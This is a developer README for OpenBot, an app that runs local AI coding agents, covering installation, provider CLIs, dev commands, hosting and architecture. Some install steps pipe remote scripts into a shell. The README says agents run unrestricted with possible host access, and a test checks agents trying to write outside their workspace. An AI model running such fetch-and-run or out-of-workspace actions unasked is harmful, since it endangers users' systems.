curl -fsSLO https://raw.githubusercontent.com/nightly-labs/openbot/main/docker/seccomp.json\ndocker run -d --name openbot --restart unless-stopped \\\n --security-opt seccomp=seccomp.json --security-opt no-new-privileges:true \\\n --shm-size 1g --stop-timeout 60 -v openbot-data:/data \\\n ghcr.io/nightly-labs/openbot:latest\ndocker exec -it openbot openbot login\nSee Docker for Compose, the data volume, upgrades and the security limits. For Amazon ECS, see AWS ECS.
\nThe flake installs the desktop app from the latest release on x64 or arm64 Linux and on Apple silicon:
\nnix run github:nightly-labs/openbot\nnix profile install github:nightly-labs/openbot\noverlays.default adds pkgs.openbot. OpenBot is not free software, so your nixpkgs must allow it, for example with nixpkgs.config.allowUnfreePredicate = pkg: lib.getName pkg == \"openbot\";. Nix installs OpenBot updates. OpenBot does not update itself from the Nix store. On Linux, the Nix package does not include the remote desktop runtime, because nixpkgs does not have a library that it needs.
\n Important
\nWindows releases are signed by SYNTHETIFY LABS SP\u00d3\u0141KA Z OGRANICZON\u0104 ODPOWIEDZIALNO\u015aCI\u0104. Older releases are not code-signed. SmartScreen can still warn about a new release. Check the release checksum or GitHub build attestation before you run the installer.
OpenBot can download a supported provider runtime when you select Download in onboarding, Settings, agent setup, or the model picker. OpenBot prefers its managed CLI. Explicit OPENBOT_*_PATH overrides take precedence; a compatible system CLI is used when no managed copy is available. OpenBot checks for a newer provider CLI release at startup and every hour, and Check for updates in a provider's actions menu checks at once. Updates install the latest upstream release without changing the user\u2019s system CLI; the version in native-runtime.lock.json is only the first-install fallback.
You can also install a CLI yourself.
\nCodex CLI on macOS:
\ncurl -fsSL https://chatgpt.com/codex/install.sh | sh\nClaude CLI on macOS:
\ncurl -fsSL https://claude.ai/install.sh | bash\nInstall Grok CLI following the Grok Build documentation, then authenticate with grok login or set XAI_API_KEY in the environment used to launch OpenBot.
OpenBot downloads and pins the OpenCode CLI, like Codex, Claude, and Grok. OpenCode's free models need no account and no sign-in: select OpenCode, click Connect, and OpenBot reads the models that the CLI advertises. To use the paid OpenCode Go models, click Sign in on the OpenCode row and paste a Go key from opencode.ai/auth. OpenBot encrypts the key on this computer and gives it only to the local CLI. OpenBot supports OpenCode Go only: the Zen models a Go key does not buy stay out of the picker. Models with the Free label in the model picker need no sign-in. Other models need a sign-in with their provider: a Go key for the opencode-go/ models, or opencode auth login in a terminal for OpenCode Zen and third-party providers. Without it, the turn fails with an error that names the provider. If you installed OpenCode yourself, OpenBot keeps that install and offers no download. Set OPENBOT_OPENCODE_PATH to select an executable outside your shell's search path. Remote OpenCode agents require Team API v4; older clients do not show these agents.
Gemini uses a Google AI Pro or Ultra plan. OpenBot downloads Google's Antigravity ACP server on this computer when you select Download on the Gemini row, because Google's license does not let OpenBot include it. Sign in opens Google's sign-in page in your browser. OpenBot never uses an antigravity command on your search path, because the Antigravity editor installs a command with that name. Set OPENBOT_ANTIGRAVITY_PATH to select a server executable yourself. Put it in a bin/ folder, and put an antigravity-package.json file with its version in the folder above bin/. Keep localharness_external beside the server. When that path is set, OpenBot uses only it. Connect remains available in the host's local Settings > Providers screen. Remote settings cannot perform Google sign-in; use a browser on the host. See Gemini setup and download recovery for the required layout, the reported IPv6 download failure, and checks that do not change host networking.
Cursor uses a Cursor plan or a Cursor API key. OpenBot downloads and pins the Cursor CLI (cursor-agent) when you select Download on the Cursor row in More providers, and starts it with cursor-agent acp. Sign in opens Cursor's sign-in page in your browser. You can also set CURSOR_API_KEY in the environment used to launch OpenBot. If you installed cursor-agent yourself, OpenBot uses it until a download exists. OpenBot never uses the cursor command, which starts the Cursor editor. Set OPENBOT_CURSOR_PATH to select an executable yourself. Cursor agents stay on this computer: team members do not see them.
Cline uses a Cline account, which has free models with limits for each model. The provider of a free model can use your prompts to train models. OpenBot downloads and pins the Cline CLI (cline) when you select Download on the Cline row in More providers, and starts it with cline --acp. Sign in opens Cline's sign-in page in your browser. You can also set CLINE_API_KEY in the environment used to launch OpenBot. If you installed cline 3.0.68 or newer yourself, OpenBot uses it until a download exists. Set OPENBOT_CLINE_PATH to select an executable yourself. Cline agents stay on this computer: team members do not see them.
On Windows, install the native CLI and make sure codex, claude, or grok is available in PowerShell. Claude Code also requires Git for Windows. Then authenticate the installed CLI and restart OpenBot.
Bun and Node.js are not required when using an installed release. Optional Computer Use works on macOS, Windows and Linux, and the release carries the driver, so there is nothing to install. Only macOS asks for a permission for it: Screen Recording and Accessibility.
\nOpenBot uses the existing local CLI login. It does not copy provider credentials. Grok's XAI_API_KEY and per-session MCP bearer tokens are never persisted or logged. Each provider's terms apply to your sign-in. See provider terms for Claude subscriptions.
For setup problems, data reset, and uninstall instructions, see Troubleshooting. OpenBot's data and network behavior is documented in Privacy.
\nDevelopment requires stable Bun 1.4.2, Node.js 24 (the version in .nvmrc, matching the Node that Electron bundles - run nvm use), and at least one supported agent CLI.
Install the exact Bun version on macOS or Linux:
\ncurl -fsSL https://bun.com/install | bash -s \"bun-v1.4.2\"\nInstall it on Windows in PowerShell:
\niex \"& {$(irm https://bun.com/install.ps1)} -Version 1.4.2\"\ngit clone https://github.com/nightly-labs/openbot.git\ncd openbot\nbun install --frozen-lockfile\nbun run codex:doctor\nbun run dev\ncodex:doctor checks the CLI version, App Server handshake, and ChatGPT login without starting a model turn. bun run cua-driver:doctor reports the Computer Use driver separately.
In a new git worktree, run bun run dev:bootstrap. It copies the files that .worktreeinclude lists from the main checkout when they are missing, installs dependencies, migrates the local API, and seeds the isolated profile. Set it as the worktree setup command of your agent harness.
On macOS, a worktree's node_modules uses almost no new disk space. Bun clones packages from its cache, and the root postinstall clones Electron from ~/Library/Caches/OpenBot/electron-dist. du still shows the full size of each clone. The first install of an Electron version extracts it once and saves it there. Delete the directory to clear the cache; an entry that nobody used for 30 days is removed by the next save.
To reset only the local development state, quit the dev app and test client, then run bun run dev:reset. The command deletes the app and test-client development profiles plus the legacy host profile, including openbot.db and its WAL files. It prints each profile before it deletes it, and it deletes nothing while a dev app has one of them open. It does not change the production profile, the worktree profiles that bun run dev opens (OpenBot Dev wt-<hash>), agent workspaces, ~/.codex, or ~/.claude.
bun run dev seeds a development profile it creates, so a first start already shows this data. bun run dev:seed replaces the shared OpenBot Dev profile. To use it, quit the dev app, then run:
bun run dev:seed\nbun run dev --shared\nThe seeded agents run on opencode-go/muse-spark-1.3-contributor at medium effort while this computer's OpenCode CLI lists it, and on gpt-6-luna at low effort otherwise. A dev build starts a new agent on the same pair, so a seeded agent and one you create agree; a packaged build always uses gpt-6-luna.
The seed adds agents, rich conversations, managed files and references, reactions, completed agent exchanges, two channels with a delegated task run, channel memories and routines, and local team chat data. It dates every record backwards from the run, so the transcripts read Today and Yesterday. It does not add live queue items, open routine runs, or queued channel tasks, so it starts no model turn. Use bun run dev:seed --dry-run to inspect the target and fixture counts without changing files. dev:seed, dev:reset, dev:verify, dev:bench, and dev:automation print their usage for --help and change nothing. They stop with exit code 2 on an option that they do not know.
Seed the approved OpenBot team catalog locally with bun run marketplace:seed:local, then start or reuse bun run dev. Search OpenBot in Marketplace to review its Skills and Agents. This seed adds catalog records without resetting app data.
bun run marketplace:build creates the launch bundles. bun run marketplace:publish:production is a dry run; production writes require explicit flags and admin credentials. See the catalog and publication guide.
Skill authors can add optional example-prompt text to the YAML frontmatter in SKILL.md:
example-prompt: Turn the latest commits into release notes.\nThe skill preview shows this text. Try skill appends it and a skill reference to the selected agent's draft. It does not send the message. The field accepts up to 1,000 characters after trimming. Missing or invalid values use a default example. No new package format or database migration is required.
\nAsk an agent to create a skill from a reusable workflow. It prepares a folder with SKILL.md and calls create_skill. The skill is saved in a shared local library and enabled for that agent. Other agents can add it through Settings \u2192 Skills \u2192 Local skills.
Agents can use list_local_skills, read_local_skill, revise_skill, and install_local_skill. Revisions require the version read by the agent and retain previous versions. Updating a library skill does not update installed copies: use the Update chip or install an exact revision. Modified installed files are protected. To publish a local skill, submit its folder separately through the marketplace.
Optional scripts, references, and assets follow the Codex skill folder structure. A PNG at assets/icon.png supplies the local preview logo. The built-in openbot-skill-creator guide explains the format and validation limits. Registration does not run scripts.
Open Server settings \u2192 Import on this computer, or on a joined server in the desktop app or the browser client. Every member of a server can import, not only an owner or admin. Add the OpenBot export agent to Grok Bot and say \"Export my agents for OpenBot\". It saves one .zip file to Downloads. Choose that file in OpenBot, select the agents, and import them.
The import adds each agent's name, instructions, avatar, skills, routines, and memories. Workspace files are copied to imported/ in the agent's workspace if you included them. Chat history is not copied: the export agent keeps the important facts as memories. For this computer, the file is read here and is not uploaded. For a joined server, the file (at most 100 MB) goes to the computer that runs that server through the encrypted host connection. A member's import uses a skill that the server already has instead of changing it. The export skill and its format are in resources/agent-import/grok-bot/SKILL.md.
The browser client is served at /app by the public web app. For local development, run bun run dev:api and open /app on the API URL printed by the supervisor. Use bun run dev when a desktop host is also needed. Use bun run storybook and Web \u2192 Workspace \u2192 Connected for shared UI test data. See web client delivery for the release gate and focused checks.
| Command | \nPurpose | \n
|---|---|
bun run dev | \n Start the local Auth API, Signal service, and Electron client with renderer HMR on its app profile. Ports are allocated through the dev registry, so a sibling worktree never takes one this stack won. It refuses a second stack in the same worktree unless you pass --force. Each worktree opens a profile of its own, keyed to its path; --shared opens the shared OpenBot Dev profile instead. --isolated is still accepted and changes nothing. A profile that you used before stays on disk unchanged. --hosting=test signs the app in to the test account Worker, on a profile that all worktrees share, so that a hosted server is a real VM; see docs/hosted-servers.md. A profile that does not exist yet is seeded with the showcase data of bun run dev:seed before the client starts, so a first start never opens an empty app; an existing profile is left as it is. An isolated profile still shares the computer's provider CLI store, so it does not download the pinned CLIs again. Before it starts, it runs bun install --frozen-lockfile and bun run api:migrate:local only when bun.lock, a workspace package.json, a patch, or a migration changed since their last successful run. The stamps are in node_modules and apps/auth-api/.wrangler/state/v3/d1, and each bun install writes the install stamp too; delete one to run its step again. | \n
bun run preview | \n Preview the built Electron client with the green preview icon. | \n
bun run mobile:go | \n Start the mobile app in Expo Go and clear the Metro cache. | \n
bun mobile:ios | \n Build and launch the iOS simulator app without RocketSim. | \n
bun run dev:mobile | \n Start or reuse this worktree's bun run dev stack, build and launch the iOS simulator app, and pair them without a QR scan. The desktop issues a Mobile Connect ticket over CDP, and simctl openurl opens the link in the development build, which accepts only loopback or private-network account services. Other arguments go to bun mobile:ios. --pair-only pairs an app that already runs; --simulator=<udid> chooses one of several booted simulators. It stops when the Metro port is already in use, because another worktree's Metro would serve the same app id; pass --port=<n> then. | \n
bun run mobile:ios:build:local | \n Build a production iOS .ipa locally for upload with Transporter. See TestFlight setup. | \n
bun run mobile:ios:release:testflight | \n Start the GitHub Actions iOS build from main and upload to TestFlight. Requires authenticated GitHub CLI. See iOS release setup. | \n
bun mobile:ios:rocketsim | \n Start RocketSim and build and launch the iOS simulator app with RocketSim Connect. See mobile setup. | \n
bun run mobile:go:tunnel | \n Start the mobile app in Expo Go through a Metro tunnel and clear the cache. The OpenBot API and Signal still need their own reachable addresses. | \n
bun run dev:api | \n Start the TanStack Start API and its local D1 database on 127.0.0.1:3100. | \n
bun run dev:apns-key -- <AuthKey_ID.p8> [KEY_ID] | \n Save an Apple Push Notification service key in ignored development state, so the local Auth API sends iPhone Live Activity updates. The local server forwards them to Apple over HTTP/2. Restart bun run dev after it. | \n
bun run api:start | \n Build and preview the Cloudflare Worker locally. | \n
bun run api:images | \n Draw the article artwork into apps/auth-api/content-art/ after you add an article or change a title. Commit the result; the site build fails until it matches. Needs Electron and a GPU, so run it on your own machine. | \n
bun run api:migrate:local | \n Apply D1 migrations to the local development database. | \n
bun run api:migrate:remote | \n Apply D1 migrations to the configured remote database. | \n
bun run api:deploy | \n Build and deploy the account API to Cloudflare Workers. It sets the Stripe, boat, claim and OpenPanel secret sets that are in the production environment. A set that is not there keeps the value that the Worker has. | \n
bun run api:stripe:bootstrap | \n Create or update the Stripe plan catalog and the Customer Portal settings from STRIPE_SECRET_KEY in the encrypted apps/auth-api/.env.dev (shell values replace it). It refuses a live key unless you add --live. For local webhooks, run stripe listen --forward-to localhost:<API port>/v1/stripe/webhook and set the signing secret in STRIPE_WEBHOOK_SECRET. See Billing. | \n
bun run hosting:setup --target=production|test | \n Set up the Stripe catalog, the Customer Portal, and the Stripe and boat webhooks of one account server, and store the webhook signing secrets: production in the cloudflare-production GitHub Environment, test in the encrypted apps/auth-api/.env.dev. See hosted servers. | \n
bun run hosting:template | \n Build the boat named snapshot that new hosted servers start from. Needs BOAT_TEMPLATE_API_KEY and --version, --appimage-url, --appimage-sha256 and --auth-api-url. See hosted servers. | \n
bun run status:build | \n Build the public status page in apps/status/dist. The status-page workflow adds status.json and feed.xml and publishes it to GitHub Pages at status.openbot.run. | \n
bun run status:smoke | \n Run the status page smoke test: update runs against a local fake service, the status webhooks against a local receiver, one read-only run against the live checks, and the built page in Chrome. It writes .openbot-build/status-page/report.json. | \n
bun run remote:up | \n Build and start the self-hosted Signal, coturn, and ACME stack. | \n
bun run remote:check | \n Check the Remote API and both Docker Compose configurations. | \n
bun run remote:check:compose | \n Validate both Docker Compose configurations alone, without a running daemon. | \n
bun run remote:update | \n Update Signal, then drain and update the single coturn instance. | \n
bun run dev:all | \n Start the Auth API, Signal service, and single local Electron instance. | \n
bun run dev:slack | \n Start the same stack as bun run dev, with two cloudflared quick tunnels, one to Signal and one to the local account API, so that Slack can send the development Slack app's events and install return to the agents on this computer. It reads OPENBOT_DEV_SLACK_SIGNING_SECRET from the ignored .env.slack-dev, and needs SLACK_ROUTE_PRIVATE_JWK and SLACK_ROUTE_KEY_ID in the shell environment. Takes the same options as bun run dev, such as --shared. See docs/messaging.md. | \n
bun run dev:test-client | \n Start the Auth API, Signal service, local instance, and an isolated second client for team testing. | \n
bun run dev:seed | \n Replace only the app development profile with durable showcase data. --if-missing keeps an existing profile, which is how bun run dev seeds a first start. --scale=agents:N,messages:M,channels:C,channelMessages:K,attachments:A adds generated agents, chat history, channel history and large images to the showcase data, for memory and CPU measurements. | \n
bun run dev:reset | \n Delete the local app, test-client, and legacy host development state. It refuses while a dev app has one of these profiles open. | \n
bun run dev:status | \n Print, as JSON, every dev stack and dev app instance live on this machine: services, ports, pids, which of them belong to this worktree, and which are orphaned - a supervisor that is gone with its children still holding the ports. Each recorded process carries the state a stop command acts on: live, gone with groupLive for a survivor of a dead leader, and unverified for a pid this machine cannot date. registryDirectory is the directory it read: ~/Library/Caches/OpenBot/dev on macOS, $XDG_RUNTIME_DIR/openbot-dev (else ~/.cache/openbot/dev) on Linux, %LOCALAPPDATA%\\OpenBot\\openbot-dev-instances on Windows, or OPENBOT_DEV_REGISTRY_DIR when set. It does not depend on TMPDIR. | \n
bun run dev:verify | \n Print a stable JSON verification plan for this worktree: ready/reasons for safe checks, setup state, changed files and affected surfaces, nearby tests, runtime state, qa.required/qa.ready/qa.reasons, the renderer QA loop, safe runnableCommands, and all suggested commands. Add --run to execute only the safe non-mutating checks in the plan. Renderer QA follows snapshot \u2192 action with --wait-for \u2192 snapshot \u2192 screenshot when appearance matters. | \n
bun run dev:stop | \n Stop this worktree's dev stack, children included, using the pids in the registry rather than a process-name pattern. It signals only a pid whose start time still matches the record, so a recycled pid is never sent SIGTERM; anything it cannot confirm is reported, left running and kept in the registry, and the command exits non-zero. --pid=<supervisor pid> stops one other stack, --all stops every stack on the machine. | \n
bun run dev:forget | \n Drop this worktree's stack record without signalling anything, for the one case dev:stop refuses to resolve on its own. It is also the only command that reads a dead record: nothing else deletes one, because a reader that removes what it judged can remove a record the supervisor rewrote in between. Takes the same --pid= and --all. | \n
bun run storybook | \n Start Storybook on a port allocated through the same registry, so two worktrees never announce one port. OPENBOT_STORYBOOK_PORT moves where the search starts; --port is refused. | \n
bun run build-storybook | \n Build static Storybook. CI sets OPENBOT_STORYBOOK_CHECK=true to skip automatic prop documentation during its build check. | \n
bun run dev:automation | \n Drive the running dev app over CDP: instances, pages, snapshot, screenshot, click/type by accessible role. --page=<target-id|url-substring> aims at any window, including embedded browser views; --wait-for=<role>,<name> settles on an accessible target instead of polling; mutations need --allow-mutations and a named instance (this worktree's record, --instance=<id> or --port=). | \n
bun run dev:cpu | \n Measure idle CPU on the running dev app, per process kind and per page. --duration=<ms> (default 60000), --interval=<ms> (default 5000), --label=<name>, --out=<name>.json (always under .openbot-build/dev-automation/cpu/, and refused if it would leave that directory or pass through a symbolic link) and --compare=<file> for a before/after delta. Read-only. Take a baseline before a change and a second run after it: only the difference between two runs on the same machine is a result, because a dev build carries the Vite server and the source maps as well. | \n
bun run dev:memory | \n Measure the running dev app's memory once: resident memory per process kind (main, renderer, GPU, provider CLIs and their MCP servers), with the dev tooling kept out of the app total, plus JS heap and DOM counters per page. --label=<name>, --out=<name>.json (always under .openbot-build/dev-automation/memory/) and --heap-snapshot=<target-id|url-substring> to also write a V8 heap snapshot of one page to that directory. Read-only. | \n
bun run dev:bench | \n Run repeatable RAM and CPU scenarios on the built app (bun run build first). Each run seeds a bench profile of its own, starts the built app, samples the process tree every second (resident memory, macOS physical footprint and CPU per process kind, provider memory per CLI) with the main-process and page heaps, drives the scenario, and reads a settled state after garbage collection. --scenario=<id|prefix|all> (required; without it the command lists the scenarios), --runs=<n> (default 3; the report shows the median and range), --label=<name>, --compare=<report.json>, --cpu-profile (records the app window's JavaScript for 15 s after the first run settles, as a .cpuprofile for DevTools), --frames (counts frames slower than 17 ms and 50 ms while the scenario runs; the loop keeps the renderer drawing, so CPU readings rise) and --call-counts (V8 call counts per function while the scenario runs, top 25 in a -call-counts.json file; slows JavaScript). Every run also reports the startup marks (startup.*, ms) and the app window's layout and style recalculation counts, script and task time, and long tasks (render.*). Reports go to .openbot-build/dev-automation/bench/. Turn scenarios (s5 to s9) use the real claude, opencode and grok CLIs and spend model quota. It never touches a dev instance or your own profile, and bun run dev:stop stops an app a failed run left behind. | \n
bun run check | \n Run Biome, both typechecks, offline tests, the browser smoke test, and the production build. | \n
bun run typecheck | \n Check all 15 projects in parallel with a separate incremental cache for each project in this worktree. | \n
bun run knip:check | \n Find unused files, exports, and types, unused or unlisted dependencies, and unresolved imports in all workspaces. CI runs it. | \n
bun run check:ui | \n Check the renderer against the design system: shared primitives, Kobalte and Lucide confined to @openbot/ui, palette tokens instead of colour, size, radius and transition literals. Checks renderer and shared UI source. | \n
bun run check:assets | \n Fail when a tracked image or video file is outside the product asset directories. Pull request screenshots go in the pull request body. | \n
bun run check:doc-links | \n Fail when a link in a tracked Markdown file names a Markdown file that does not exist, or an anchor that the file does not have. | \n
bun run verify:preload | \n After bun run build, run the built preload with a fake Electron. Fail when it loads a module that a sandboxed preload cannot load, uses import(), or exposes a method that IPC_ENDPOINTS does not name. | \n
bun run types:ratchet | \n Hold each TypeScript option in tools/typescript/type-baseline.json to its error count per file in every project that extends tsconfig.base.json. A new error fails. Add --write after a fix to lower the baseline, or --add=<option> to start an option at its current counts. | \n
bun run i18n:check | \n Check the translation catalogs: key prefixes, placeholders, plural forms, ambiguous source text, and unused keys. --fix puts translated keys in the English order. --json writes .openbot-build/i18n-report.json. See docs/i18n.md. | \n
bun run test:backend | \n Run backend tests only. | \n
bun run test:changed | \n Run, on one worker, only the desktop and mobile test files that import a file changed since origin/main, including staged, unstaged and untracked files. It stops with an error when origin/main is missing. A change to a vitest config, a setup file or package.json selects no test. See docs/development-checks.md. | \n
bun run test:related -- <source>... | \n Run, on one worker, only the test files that import the named source files. | \n
bun run test:browser-agent-session | \n Check that an agent with its own browser session, and the agents of a named browser profile, keep their cookies and storage apart, across popups, a restart, a deleted profile, and a clear. | \n
bun run test:browser-profile-agents | \n Check that the shared profile, an agent's own session, a named profile, and the delete of a named profile change the stored browser profile of an agent, and that the choice stays after a restart. | \n
bun run test:browser | \n Run the complete local embedded-browser smoke test, including cross-process persistence. Use --scenario=controls, --scenario=tool-boundary, --scenario=evaluation, --scenario=wait-deadlines, or --scenario=popups for one isolated scenario. | \n
bun run test:codex | \n Probe the real CLI handshake and account without starting a paid turn. | \n
bun run test:durations | \n Re-record how long each desktop test file takes. CI splits its shards by this table, so run it when the two shards stop finishing together. | \n
bun run cua-driver:doctor | \n Print, as JSON, which cua-driver binary OpenBot would use for Computer Use, and the driver's own doctor report. Read-only, and it starts no daemon. OPENBOT_CUA_DRIVER_PATH selects a different binary in a checkout; an installed application runs only the driver it was released with. | \n
bun run prepare:cua-driver | \n Write the pinned Computer Use driver to build/cua-driver/<platform>/<arch>, verifying every SHA-256 in native-runtime.lock.json. Name another target with bun scripts/install-cua-driver.ts <platform> <arch>. Every packaging command runs this first. | \n
bun run pin:cua-driver <version> | \n Print a new cuaDriver block for native-runtime.lock.json from a published cua-driver release. Downloads the release assets of all five targets and hashes each shipped file. | \n
bun run package | \n Build an unpacked local application for the architecture of this Mac. | \n
bun run package:verify | \n Build and verify the real app bundle for this Mac, icon, metadata, ASAR, and fuses. | \n
bun run package:win | \n Build an unpacked local Windows x64 application on Windows. | \n
bun run package:win:verify | \n Build and verify the Windows x64 application on Windows. | \n
bun run package:linux | \n Build an unpacked local Linux x64 application on Linux. | \n
bun run package:linux:arm64 | \n Build an unpacked local Linux arm64 application on arm64 Linux. | \n
bun run package:linux:verify | \n Build and verify the Linux x64 application on Linux. Run it under xvfb-run -a without a display. | \n
bun scripts/create-github-app.ts [--org <org>] | \n Create the OpenBot GitHub App from scripts/github-app/manifest.json with the manifest flow. Prints the Client ID for src/main/github-connector-config.ts and writes the app secrets to ~/.config/openbot/github-app-<slug>.json (mode 0600). Enable Device Flow in the app settings after the run. | \n
bun run release:preflight | \n Verify version, Git state, and GitHub release secrets before tagging. | \n
bun run dist:mac | \n Build unsigned local DMG and ZIP update artifacts for this Mac. | \n
bun run dist:win | \n Build an unsigned Windows x64 NSIS installer on Windows. | \n
bun run dist:linux | \n Build an unsigned Linux x64 AppImage on Linux. | \n
bun run dist:linux:arm64 | \n Build an unsigned Linux arm64 AppImage on arm64 Linux. | \n
bun run release:patch | \n Create the next patch version commit and tag. | \n
bun run mobile:release:patch | \n Move the iPhone app notes from apps/mobile/changelog.d into apps/mobile/CHANGELOG.md and set the next patch version in app.json. Also mobile:release:minor and mobile:release:major. | \n
bun run mobile:release:published <ios|android|both> | \n Write today's date for a store that made the mobile build available. /changelog shows each store, and a store that still reviews the build as \"In review\". Add --version x.y.z for a version that is not in app.json. | \n
bun run test:acp-directories | \n Run three fake ACP agents through the acp provider driver: new, load and resume requests carry the workspace roots as additionalDirectories only when the agent advertises them. Offline; writes .openbot-build/acp-additional-directories-e2e/report.json. | \n
bun run test:custom-agents | \n Run two fake ACP agents through the agent store, Check agent (with its model list) and the acp provider router: equal session ids, restart and resume, switch, and delete. Offline; writes .openbot-build/custom-acp-agent-e2e/report.json. | \n
bun run test:mcp-tool-consent | \n Run the real Codex app-server with a fake model, a real MCP server and the real attention registry: tool consent at Ask first and Full access, Always allow and a restart, refusals, and the requests that stay with the user (forms, sign-in, look-alikes). Needs a Codex CLI; offline; writes .openbot-build/mcp-tool-consent-e2e/report.json. | \n
bun run test:ui-blocks | \n Run the real attention registry and Team API codecs on ask_ui blocks: answers from the owner, an admin, a member and a released client, the member refusal for privileged actions, a secret form value that is never stored, skip and expiry, and the ui-blocks-v1 wire on protocols 6 and 7. Offline; writes .openbot-build/ui-blocks-e2e/report.json. | \n
bun run test:filesystem | \n Online/manual: run real full-access Codex and Claude filesystem turns across private and shared workspaces. | \n
bun run test:imagegen | \n Online/manual: run a real full-access image-generation turn. | \n
bun run test:workspace-only | \n Online/manual: run real Workspace only Codex, Claude, Grok and OpenCode turns that try to write outside; writes a JSON report per provider to .openbot-build/workspace-only-smoke/. Add --provider <id> for one, and --model <id> to choose its model. | \n
bun run test:provider-detection | \n Run local detection, Load models and endpoint Edit against fake OpenAI-compatible servers on this computer: no key in a scan, no redirect, the stored key only to its own origin. Offline; writes .openbot-build/provider-detection-e2e/report.json. | \n
bun run test:storage-live | \n Online/manual: verify isolated Codex and Claude turns in a temporary SQLite database. | \n
Publishing never creates a second OpenBot instance. The host keeps its Team API on loopback. A hidden, sandboxed Electron page connects it to invited clients through WebRTC. Signal carries only connection setup messages. Team data uses direct DataChannels when possible and the project coturn service when direct ICE fails. Cloudflare stores accounts, configuration, memberships, invitations, logical session records, and public assets. It does not carry chats, files, commands, or remote desktop media.
\nThe development runner advertises both Mobile Connect and its Signal service on the preferred private LAN interface. Restart the runner after changing networks so newly generated QR codes contain the current address.
\nProduction mobile analytics setup and required OpenPanel credentials are documented in OpenBot Mobile.
\nmobile:go:tunnel exposes only the Expo development server. It does not expose the local account API, Signal, or TURN. A phone on 5G cannot use the default LAN addresses. For a test across networks, use a VPN that connects both devices, or provide HTTPS and WSS endpoints that forward to this dev stack's account API and Signal ports. Set OPENBOT_MOBILE_AUTH_API_URL to the reachable account API origin and REMOTE_SIGNAL_URL to the reachable Signal URL, including /v1/signal, before starting bun run dev. Use the ports reported by bun run dev:status; they can differ between worktrees. If direct WebRTC cannot connect, TURN_HOST must name a reachable coturn service and TURN_SHARED_SECRET must match that service. An HTTP tunnel cannot forward TURN traffic. Generate and scan a new Mobile Connect code after changing the account API address; an existing mobile session retains its original address.
Mobile sign-out removes the local login even when the account API is unavailable. The app keeps only the credential in secure storage for revocation retries at startup, on return to the foreground, and on the next connection attempt. Remote revocation completes when the account API is reachable.
\nFor manual team testing, bun run dev:test-client starts a complete two-client harness. The second client uses the OpenBot Dev Test Client wt-<hash> profile of this worktree (OpenBot Dev Test Client with --shared) and renderer port 5174. dev:reset removes the shared one and the legacy OpenBot Dev Host profile. It does not remove the downloaded provider CLIs, which the whole computer shares. Press Ctrl+C in the runner terminal to stop only the processes started by that runner, or run bun run dev:stop from the worktree once that terminal is gone. Never stop a dev stack with pkill -f electron or pkill -f bun: on a machine running several worktrees those kill the other checkouts' work mid-write, which is what dev:status and dev:stop exist to make unnecessary.
Set OPENBOT_DEV_ICE_TRANSPORT_POLICY=relay before this command to force Team API traffic through coturn. This test option works only with the development renderer. Production always starts with all.
The normal check command is offline and uses a fake App Server. Manual smoke scripts may use the signed-in subscription and must not run in CI.
Local agents run with the providers' unrestricted execution modes. Each agent starts in its own persistent ~/OpenBot/Agents/<agent-id> workspace and also receives ~/OpenBot/Shared; routine command and filesystem work in both locations runs without OpenBot adding another permission boundary. Because these modes are intentionally unrestricted, they also permit host access outside those directories when the provider and operating system allow it.
For each macOS account, log in to its GUI session and open Server Settings \u2192 Remote desktop access. Select Check again to read Sunshine's Screen Recording and Accessibility permissions, display availability, and GUI session status. The panel names the Mac and the account that runs Sunshine. Grant permissions in that account, including when the account was created with the tenant setup script.
\nAfter you publish a server on a Mac, an optional Set up remote desktop prompt opens this panel. Select Later to keep using the published server without remote desktop setup.
\nUse the permission buttons to open System Settings \u2192 Privacy & Security on the host. If Sunshine is missing from a list, select Show Sunshine in Finder and add the bundled Sunshine.app with the + button. macOS can attribute access to the application that starts Sunshine; enable the application named by the system prompt. Return to OpenBot to check again. If a restart is required, end remote sessions first. A check never restarts an active session.
Select Test on this Mac for a local test. If native checks are unavailable, it tests video only and disables viewer input. After the checks pass, it can test mouse and keyboard too. Select Test remote desktop from another computer for a remote test. The test requires an otherwise unused remote desktop host. It opens a temporary host panel, keeps remote input inside that panel, and asks you to click a target and type a four-digit code. Confirm that the picture is visible, then select Finish test. Local input does not pass the mouse or keyboard test. The panel expires after two minutes. Older hosts or native runtimes require an update before these checks are available.
\nThe native runtime source change invalidates prior artifact pins. The Remote desktop runtime CI workflow builds and tests the new source, then publishes and pins verified artifacts through its existing release flow. Do not reuse old artifact hashes with the new source digest.
\nElectron main\n\u251c\u2500\u2500 local Codex App Server process over stdio JSONL\n\u251c\u2500\u2500 local Claude Agent SDK session over stream JSON\n\u251c\u2500\u2500 SQLite command log and read projections\n\u251c\u2500\u2500 secure typed IPC handlers\n\u2514\u2500\u2500 sandboxed WebContentsView browser host\n \u2195 typed preload bridge\nSolidJS renderer\n\nCloudflare Workers\n\u2514\u2500\u2500 TanStack Start + Solid 2 account API\n \u251c\u2500\u2500 D1 accounts, email challenges, hashed sessions, and team tunnels\n \u2514\u2500\u2500 R2 account avatars\nsrc/main owns the Electron lifecycle, window security, local protocol, and IPC registration.src/backend owns provider adapters, persistence, message scheduling, transfers, and the browser host.src/preload exposes only the typed window.openbot API.src/renderer contains the SolidJS interface.apps/auth-api contains the TanStack Start account API, one-time email codes, rate limits, and D1 migrations. It also serves the public site: the landing page, /news, /guides, and the plugin pages at /plugins and /plugins/<slug>.apps/status contains the public status page at status.openbot.run, the script that the status-page workflow runs to check the services, and the script that sends the status webhooks of the team. GitHub hosts it, so it stays up when Cloudflare does not.packages/contracts contains process-boundary contracts, shared limits, and pure validation.packages/i18n contains the interface text in English, French, Japanese, Brazilian Portuguese and Turkish for desktop, web and mobile. See docs/i18n.md to add text or a language.See docs/ARCHITECTURE.md for dependency direction, state ownership, and rules for new modules.
\nAttach MP3 audio and MOV video through the file picker or drag and drop. The limits are 100 MB per file, 250 MB per message, and 10 files per message. OpenBot gives the agent the original file; it does not play, decode, transcribe, or validate the recording during import. Damaged recordings can be attached for inspection. Analysis depends on the tools available to the agent. For other audio or video formats, export as MP3 or MOV, or attach a text transcript. Remote hosts must advertise the media-attachments capability; update the host if this feature is unavailable.
ZIP archives use the same limits. OpenBot does not extract or inspect an archive: the agent gets the original file and extracts it with its own tools. An agent sends a ZIP archive back with openbot.attach_files_to_response, and the user downloads it from the chat. Open shows a ZIP archive in the file manager instead of opening it. Remote hosts must advertise the zip-attachments capability.
